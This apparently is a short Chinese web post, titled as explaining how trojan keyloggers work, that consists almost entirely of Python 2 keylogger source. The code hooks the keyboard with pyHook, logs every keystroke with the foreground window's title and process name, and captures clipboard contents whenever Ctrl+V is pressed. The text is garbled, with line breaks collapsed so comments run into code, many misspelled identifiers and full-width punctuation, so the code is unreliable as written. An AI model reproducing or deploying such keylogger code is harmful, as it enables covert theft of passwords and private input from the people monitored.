Python告诉你木马程序的键盘记录原理

# -*- coding: utf-8 -*-from ctypes inportimport pythoncomimport pyHookimport win32clipboarduser32 = winddll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = Notedef get_current_process():#获取最上层的窗句柄hwnd = user32.GetForegroundWindow()#获取进程IDpid = c_ulong(0)user32. GetwindowThreadProcessId(hwnd,byref(pid))#将进程ID存入变量中process_ = "%d" % pid.value#申请内存executable = create_string_buffer("/x00"*522)h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#读取窗口标题windows_title = create_string_buffer("/x00",512)length = user32.GetWindowTextA(hwnd,byref(windows.title),512)#打印printprint "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)print#关闭handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)#关闭键盘监听事件函数def KeyStroke(event):global current_window#检测目标窗口是否转移（换了其他窗口就监听新窗口）if event,WindowName !=current_window:current_window = event.WindowName#函数调用get_current_process()#检测击键是否常规按键（非组合键等）if event.Ascii>32 and enent .Ascii <127 ：print chr(event.Ascii),else:#如果发现ctrl + V事件，就粘贴板内容记录下来if event.Key == "V"win32clipboard.OpenClipdoard()pasted_value = win32clipdoard. GetClipdoardData()win32clipdoard.CloseClipboard()print "[PASTE]-%s" %(pasted_value)，else:print "[%s]" %event.Key，循环监听下一个事件return True#创建并注册hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke#注册hook并兴趣kl.hookKeyboard()pythoncom.PumpMessages()